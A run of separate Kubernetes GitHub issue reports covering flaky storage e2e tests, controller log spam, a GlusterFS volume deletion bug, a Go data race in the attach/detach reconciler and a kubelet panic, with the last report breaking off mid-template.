which jobs are failing  :\r gce-new-master-upgrade-cluster\r \r   which test s  are failing  :\r -  sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  default fs   subpath should unmount if pod is force deleted while kubelet is down  disruptive  slow \r -  sig-storage  in-tree volumes  driver: gcepd   testpattern: pre-provisioned pv  default fs   subpath should unmount if pod is force deleted while kubelet is down  disruptive  slow \r -  sig-storage  in-tree volumes  driver: gluster   testpattern: pre-provisioned pv  default fs   subpath should unmount if pod is force deleted while kubelet is down  disruptive  slow \r -  sig-storage  in-tree volumes  driver: gluster   testpattern: inline-volume  default fs   subpath should unmount if pod is gracefully deleted while kubelet is down  disruptive  slow \r -  sig-storage  in-tree volumes  driver: gluster   testpattern: inline-volume  default fs   subpath should unmount if pod is force deleted while kubelet is down  disruptive  slow \r -  sig-storage  csi volumes  driver: csi-hostpath   testpattern: dynamic pv  default fs   subpath should unmount if pod is gracefully deleted while kubelet is down  disruptive  slow \r -  sig-storage  genericpersistentvolume disruptive  when kubelet restarts should test that a volume mounted to a pod that is force deleted while the kubelet is down unmounts when the kubelet returns.\r -  sig-storage  in-tree volumes  driver: hostpath   testpattern: inline-volume  default fs   subpath should unmount if pod is gracefully deleted while kubelet is down  disruptive  slow \r -  sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  default fs   subpath should unmount if pod is gracefully deleted while kubelet is down  disruptive  slow \r \r   since when has it been failing  :\r 5/1\r \r   testgrid link  :\r https://testgrid.k8s.io/sig-release-master-informing gce-new-master-upgrade-cluster\r \r   reason for failure  :\r most of these flakes failed with the error:  node bootstrap-e2e-minion-group-zkkb failed to enter ready state \r \r  / /milestone v1.15\r /cc @kubernetes/sig-storage-test-failures \r /cc @alejandrox1 @smourapina @rarchk @alenkacz

@bprashanth this is from 21.4; perhaps it's been fixed already?  below is the same few rcs over and over, names omitted.      i0727 23:03:17.358466      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:17.358655      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:17.358669      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:17.358851      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:17.458614      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:17.458993      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:17.459049      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:17.459094      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:17.459128      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:17.558846      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:17.559272      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:17.559442      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:17.559491      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:17.559766      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:17.659125      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:17.659695      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:17.659708      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:17.660027      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:17.660028      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:17.759394      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:17.759865      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:17.759876      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:17.760156      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:17.760171      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:17.859657      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:17.860026      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:17.860094      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:17.860255      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:17.860305      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:17.959843      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:17.960182      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:17.960237      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:17.960396      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:17.960446      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:18.060091      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:18.060635      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:18.060692      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:18.060738      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:18.060773      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:18.160356      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:18.160824      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:18.160890      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:18.160935      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:18.161012      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:18.260622      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:18.260994      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:18.261042      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:18.261094      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:18.261209      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:18.360901      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:18.361134      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:18.361195      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:18.361252      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:18.361410      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:18.461154      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:18.461283      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:18.461284      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:18.461774      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc i0727 23:03:18.461827      12 replication_controller.go:383  waiting for pods controller to sync, requeuing rc

@vishh suggested we should have a script that allows a user to clean up a machine that has experienced out-of-disk -- kill all the pods  static pods and pods started through api server , delete all the containers, remove all the logs, etc. i guess you would only use this if killing the pods through the api server isn't sufficient. it should invoke a script to mark the machine unschedulable before this  and schedulable after it --we've been discussing that separately in  3885.  @madhusudancs

not sure exactly what this means, but recording as a todo.  we do use a symlink on aws from /var/lib/docker  and also for the kubernetes dir i think  to /mnt/ephemeral. if this isn't happening on gce, probably related to that!

questions it should answer: - how do i pick the right existing group for my new resource? - how do i decide if a new group is warranted? - how do i name it? - when should we prefer breaking a group up? - are there cases when we should avoid breaking a group up or putting related resources in separate groups? - when we must make tradeoffs between the goals in  api-group.md  https://github.com/kubernetes/kubernetes/blob/master/docs/proposals/api-group.md , what's most important?  cc @lavalamp @caesarxuchao

a user reported that rapidly creating & deleting a type=loadbalancer service would not necessarily update the elb  on aws  correctly.  looking at the servicecontroller code, it seems that the key we are using is the name.  however, i think we should be using the id, so that we don't fall into this trap.  also, the load balancer name is derived from the id, not the name; the assumption was that the id cannot change, but the id can change if the object is removed & recreated without the servicecontroller observing that change.

kubernetes version    use  kubectl version  :\r 1.5.1\r \r   environment  :\r gke\r \r   what happened  :\r created a deployment with 6 replicas on federation cluster which has 3 underlying kube clusters. deployment failed due to crash of container and rs stayed on crashloopbackoff status. tried to re apply federation deployment with updated container version. federation successfully changed the version and redeployed but with status of:\r - cluster1: 6/6\r - cluster2: 0/0\r - cluster3: 0/0\r \r   what you expected to happen  :\r the balance of the rs' should have stayed 2/2 in all 3 of the underlying clusters.\r \r   how to reproduce it    as minimally and precisely as possible :\r create a federation cluster on top of 3 kubernetes cluster, create a deployment with 6 replicas which has a container that will crash immediately. try to update to a new version of the container and apply deployment to federation cluster.\r \r

\r   this is a bug report  :\r \r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-beta.3\ , gitcommit:\ 0cd5ed469508e6dfc807ee6681561c845828917e\ , gittreestate:\ clean\ , builddate:\ 2017-03-11t04:20:22z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t16:24:30z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   bare-metal  :\r -   os    e.g. from /etc/os-release :\r name=\ container linux by coreos\ \r id=coreos\r version=1325.2.0\r version_id=1325.2.0\r build_id=2017-02-28-2239\r pretty_name=\ container linux by coreos 1325.2.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://github.com/coreos/bugs/issues\ \r -   kernel    e.g.  uname -a  :\r linux server29 4.9.9-coreos-r1  1 smp tue feb 28 22:27:48 utc 2017 x86_64 intel r  xeon r  cpu e5-2620 v2 @ 2.10ghz genuineintel gnu/linux\r -   install tools  :\r hyperkube\r -   others  :\r \r \r   what happened  :\r when you run\r kubectl delete pvc <name>, pvc is going to be removed and pv appears in \ failed\  state with reason\r \r message:\tvolume has no class annotation\r \r \r   what you expected to happen  :\r as before i tested this functionality in 1.4\r pv should be removed and volume should be deleted from glusterfs/heketi as well. \r \r   how to reproduce it    as minimally and precisely as possible :\r create storageclass for your glusterfs deployment. \r for example:\r apiversion: storage.k8s.io/v1\r kind: storageclass\r metadata:\r   name: slow\r provisioner: kubernetes.io/glusterfs\r parameters:\r   resturl: \ http://127.0.0.1:8081\ \r   clusterid: \ 630372ccdc720a92c681fb928f27b53f\ \r \r submit pvc: \r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: myclaim\r   annotations:\r     volume.beta.kubernetes.io/storage-class: \ slow\ \r spec:\r   accessmodes:\r     - readwritemany\r   resources:\r     requests:\r       storage: 10gi\r \r and then remove it using kubectl delete pvc myclaim \r \r

coming from here:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-large-cluster/146\r \r    \r i0514 18:49:25.426  \u001b 91m\u001b 1m•! panic  1708.224 seconds \u001b 0m\r i0514 18:49:25.426   k8s.io  esipp  slow \r i0514 18:49:25.426  \u001b 90m/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:618\u001b 0m\r i0514 18:49:25.426    \u001b 91m\u001b 1mshould only target nodes with endpoints  it \u001b 0m\r i0514 18:49:25.426    \u001b 90m/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1395\u001b 0m\r i0514 18:49:25.426  \r i0514 18:49:25.426    \u001b 91m\u001b 1mtest panicked\u001b 0m\r i0514 18:49:25.426    \u001b 91mruntime error: index out of range\u001b 0m\r i0514 18:49:25.426    /usr/local/go/src/runtime/panic.go:489\r i0514 18:49:25.427  \r i0514 18:49:25.427    \u001b 91mfull stack trace\u001b 0m\r i0514 18:49:25.427    \t/usr/local/go/src/runtime/panic.go:489 +0x2cf\r i0514 18:49:25.427    k8s.io/kubernetes/test/e2e/framework.  servicetestjig .waitforendpointonnode.func1 0xc421386ff8, 0x90b24d, 0x31667a0 \r i0514 18:49:25.427    \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/service_util.go:329 +0x636\r i0514 18:49:25.427    k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.pollimmediateinternal 0xc42124d9e0, 0xc420263040, 0xc42124d9e0, 0xc420263040 \r i0514 18:49:25.427    \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:209 +0x2b\r i0514 18:49:25.427    k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.pollimmediate 0x77359400, 0x1176592e000, 0xc420263040, 0x65, 0x2dd1ca0 \r i0514 18:49:25.427    \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:205 +0x4d\r i0514 18:49:25.427    k8s.io/kubernetes/test/e2e/framework.  servicetestjig .waitforendpointonnode 0xc42129bc00, 0xc422c9e800, 0x15, 0x3516daf, 0xe, 0xc42047f800, 0x32 \r i0514 18:49:25.428    \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/service_util.go:340 +0xeb\r i0514 18:49:25.428    k8s.io/kubernetes/test/e2e.glob..func67.5  \r i0514 18:49:25.428    \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1377 +0x57e\r i0514 18:49:25.428    k8s.io/kubernetes/vendor/github.com/onsi/ginkgo/internal/leafnodes.  runner .runsync 0xc4208b4d20, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, ... \r i0514 18:49:25.428    \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:298 +0x219\r i0514 18:49:25.428    k8s.io/kubernetes/test/e2e.teste2e 0xc42075ab60 \r i0514 18:49:25.428    \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e_test.go:35 +0x2b\r i0514 18:49:25.428    testing.trunner 0xc42075ab60, 0x3620938 \r i0514 18:49:25.428    \t/usr/local/go/src/testing/testing.go:657 +0x96\r i0514 18:49:25.429    created by testing.  t .run\r i0514 18:49:25.429    \t/usr/local/go/src/testing/testing.go:697 +0x2ca\r i0514 18:49:25.429    \r    \r \r @kubernetes/sig-network-bugs

failure cluster  8c8797b0e4eecced864c  https://go.k8s.io/triage 8c8797b0e4eecced864c        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl/kubectl.go:383 jul 18 05:14:49.911: frontend service did not start serving content in 600 seconds. /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl/kubectl.go:1818           failure cluster statistics: 2 tests failed,    11 jobs failed,    129 builds failed. failure stats cover 1 day time range '22 jul 2017 22:13 utc' to '23 jul 2017 22:13 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  sig-cli  kubectl client  k8s.io  guestbook application should create and stop a working application  conformance  | 7 | |  k8s.io  kubectl client  k8s.io  guestbook application should create and stop a working application  conformance  | 4 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-gci-ci-master | 21 |  23 jul 2017 21:04 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-ci-master/9272  | | ci-kubernetes-e2e-gci-gke | 19 |  23 jul 2017 20:52 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke/12571  | | ci-kubernetes-e2e-ubuntu-gke | 19 |  23 jul 2017 20:36 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-ubuntu-gke/3489  |  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | pwittrock |  sig-cli  kubectl client  k8s.io  guestbook application should create and stop a working application  conformance ;  k8s.io  kubectl client  k8s.io  guestbook application should create and stop a working application  conformance  | | sig/cli |  sig-cli  kubectl client  k8s.io  guestbook application should create and stop a working application  conformance ;  k8s.io  kubectl client  k8s.io  guestbook application should create and stop a working application  conformance  |  </details><br>   current status  https://go.k8s.io/triage 8c8797b0e4eecced864c

is this a bug report or feature request?  :\r   testing\r \r   what happened  :\r e2e conformance test  validates that nodeselector is respected if matching  fails on an 1.7.5 aws cluster with a reasonable configuration.\r \r in more details:\r \r when kubelet registers a node on aws  with  --provider=aws  switch  it sets node name to full private dns name of the instance  for example  ip-172-16-23-87.ec2.internal  , and the label  kubernetes.io/hostname  is set to the instance's short hostname  for example  ip-172-16-23-87  .\r \r now when we run e2e conformance tests, one of the tests  namely  validates that nodeselector is respected if matching   uses an assumption that  kubernetes.io/hostname  label must have the same value as the node name, and therefore fails.\r \r as far as i can see it may be one of the following:\r 1  either the test uses a wrong assumption, and the test should be fixed;\r 2  or the kubelet aws behaves incorrectly using different values for the node name and for  kubernetes.io/hostname  label value.\r \r to complicate matters, the value of  kubernetes.io/hostname  may be system dependent.\r e.g. on redhat based systems, it will be the full hostname, whereas on ubuntu based, it's the short one\r  thanks @jsravn for pointing it out .\r \r there may be several possible solutions to this:\r \r 1. always use  --hostaname-override  or  --nodename-override  or both for kubelet on aws instances to ensure that they have the same values,\r 2. fix kubelet aws provider so that by default it uses the same value for node name and hostname label\r 3. fix e2e test so that it does not assume that the values are the same\r \r i personally think that there is nothing wrong with different node name and hostname, and that the test should be fixed  solution 3 above .\r \r   what you expected to happen  :\r e2e conformance tests pass even on clusters with nodes with different node name and  kubernetes.io/hostname  values.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  1.7.5 \r - cloud provider or hardware configuration  :  aws \r - os  e.g. from /etc/os-release :  ubuntu 16.04.3 lts  xenial xerus  \r - kernel  e.g.  uname -a  :  linux ip-172-16-23-87 4.4.0-1030-aws  39-ubuntu smp wed aug 9 09:43:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r - install tools: kublr, manual\r - others:\r

 \r seeing this data race when running  go test :\r \r    \r === run   test_run_onevolumeattachanddetachmultiplenodeswithreadwriteonce\r ==================\r warning: data race\r read at 0x00c420284780 by goroutine 43:\r   runtime.mapiterinit  \r       /usr/lib/golang/src/runtime/hashmap.go:668 +0x0\r   github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/volume/attachdetach/cache.  desiredstateofworld .getvolumestoattach  \r       /go/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/volume/attachdetach/cache/desired_state_of_world.go:372 +0x26d\r   github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler.test_run_onevolumeattachanddetachmultiplenodeswithreadwriteonce  \r       /go/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler/reconciler_test.go:469 +0x124c\r   testing.trunner  \r       /usr/lib/golang/src/testing/testing.go:657 +0x107\r \r previous write at 0x00c420284780 by goroutine 44:\r   runtime.mapassign  \r       /usr/lib/golang/src/runtime/hashmap.go:485 +0x0\r   github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/volume/attachdetach/cache.  desiredstateofworld .setmultiattacherror  \r       /go/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/volume/attachdetach/cache/desired_state_of_world.go:346 +0x2a1\r   github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler.  reconciler .attachdesiredvolumes  \r       github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler/_test/_obj_test/reconciler.go:274 +0xba8\r   github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler.  reconciler .reconcile  \r       github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler/_test/_obj_test/reconciler.go:231 +0x23b\r   github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler.  reconciler .reconciliationloopfunc.func1  \r       github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler/_test/_obj_test/reconciler.go:73 +0x78\r   github.com/openshift/origin/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1  \r       /go/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:97 +0x6f\r   github.com/openshift/origin/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil  \r       /go/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:98 +0xcd\r   github.com/openshift/origin/vendor/k8s.io/apimachinery/pkg/util/wait.until  \r       /go/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52 +0x5a\r   github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler.  reconciler .run  \r       github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler/_test/_obj_test/reconciler.go:65 +0x94\r \r goroutine 43  running  created at:\r   testing.  t .run  \r       /usr/lib/golang/src/testing/testing.go:697 +0x543\r   testing.runtests.func1  \r       /usr/lib/golang/src/testing/testing.go:882 +0xaa\r   testing.trunner  \r       /usr/lib/golang/src/testing/testing.go:657 +0x107\r   testing.runtests  \r       /usr/lib/golang/src/testing/testing.go:888 +0x4e0\r   testing.  m .run  \r       /usr/lib/golang/src/testing/testing.go:822 +0x1c3\r   main.main  \r       github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler/_test/_testmain.go:100 +0x33d\r \r goroutine 44  running  created at:\r   github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler.test_run_onevolumeattachanddetachmultiplenodeswithreadwriteonce  \r       /go/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler/reconciler_test.go:449 +0x10bf\r   testing.trunner  \r       /usr/lib/golang/src/testing/testing.go:657 +0x107\r ==================\r ==================\r warning: data race\r read at 0x00c420296268 by goroutine 43:\r   github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/volume/attachdetach/cache.  desiredstateofworld .getvolumestoattach  \r       /go/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/volume/attachdetach/cache/desired_state_of_world.go:372 +0x2bc\r   github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler.test_run_onevolumeattachanddetachmultiplenodeswithreadwriteonce  \r       /go/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler/reconciler_test.go:469 +0x124c\r   testing.trunner  \r       /usr/lib/golang/src/testing/testing.go:657 +0x107\r \r previous write at 0x00c420296268 by goroutine 44:\r   github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/volume/attachdetach/cache.  desiredstateofworld .setmultiattacherror  \r       /go/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/volume/attachdetach/cache/desired_state_of_world.go:346 +0x2c0\r   github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler.  reconciler .attachdesiredvolumes  \r       github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler/_test/_obj_test/reconciler.go:274 +0xba8\r   github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler.  reconciler .reconcile  \r       github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler/_test/_obj_test/reconciler.go:231 +0x23b\r   github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler.  reconciler .reconciliationloopfunc.func1  \r       github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler/_test/_obj_test/reconciler.go:73 +0x78\r   github.com/openshift/origin/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1  \r       /go/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:97 +0x6f\r   github.com/openshift/origin/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil  \r       /go/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:98 +0xcd\r   github.com/openshift/origin/vendor/k8s.io/apimachinery/pkg/util/wait.until  \r       /go/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52 +0x5a\r   github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler.  reconciler .run  \r       github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler/_test/_obj_test/reconciler.go:65 +0x94\r \r goroutine 43  running  created at:\r   testing.  t .run  \r       /usr/lib/golang/src/testing/testing.go:697 +0x543\r   testing.runtests.func1  \r       /usr/lib/golang/src/testing/testing.go:882 +0xaa\r   testing.trunner  \r       /usr/lib/golang/src/testing/testing.go:657 +0x107\r   testing.runtests  \r       /usr/lib/golang/src/testing/testing.go:888 +0x4e0\r   testing.  m .run  \r       /usr/lib/golang/src/testing/testing.go:822 +0x1c3\r   main.main  \r       github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler/_test/_testmain.go:100 +0x33d\r \r goroutine 44  running  created at:\r   github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler.test_run_onevolumeattachanddetachmultiplenodeswithreadwriteonce  \r       /go/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler/reconciler_test.go:449 +0x10bf\r   testing.trunner  \r       /usr/lib/golang/src/testing/testing.go:657 +0x107\r ==================\r --- fail: test_run_onevolumeattachanddetachmultiplenodeswithreadwriteonce  0.08s \r \treconciler_test.go:520: warning: wrong newattachercallcount. expected: <1> actual: <0>. will retry.\r \treconciler_test.go:547: warning: wrong newdetachercallcount. expected: <1> actual: <0>. will retry.\r \treconciler_test.go:547: warning: wrong newdetachercallcount. expected: <1> actual: <0>. will retry.\r \treconciler_test.go:547: warning: wrong newdetachercallcount. expected: <1> actual: <0>. will retry.\r \ttesting.go:610: race detected during execution of test\r fail\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r \r \r   what happened  :\r when i set kubelet start parameters like --node-ip=‘host-ip‘ and --enable-controller-attach-detach=false and cloudprovider=‘cloud’，then kubelet will observed a panic like:\r \r    \r nov 01 15:01:58 szx1000353081 kubelet 25542 : i1101 15:01:58.722164   25542 kubelet_node_status.go:250  controller attach/detach is disabled for this node; kubelet\r nov 01 15:01:58 szx1000353081 kubelet 25542 : e1101 15:01:58.722563   25542 runtime.go:66  observed a panic: \ assignment to entry in nil map\   assignment to entry \r nov 01 15:01:58 szx1000353081 kubelet 25542 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/run\r nov 01 15:01:58 szx1000353081 kubelet 25542 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/run\r nov 01 15:01:58 szx1000353081 kubelet 25542 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/run\r nov 01 15:01:58 szx1000353081 kubelet 25542 : /usr/local/go/src/runtime/asm_amd64.s:514\r nov 01 15:01:58 szx1000353081 kubelet 25542 : /usr/local/go/src/runtime/panic.go:489\r nov 01 15:01:58 szx1000353081 kubelet 25542 : /usr/local/go/src/runtime/hashmap.go:487\r nov 01 15:01:58 szx1000353081 kubelet 25542 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:448\r nov 01 15:01:58 szx1000353081 kubelet 25542 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:979\r nov 01 15:01:58 szx1000353081 kubelet 25542 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:962\r    \r \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  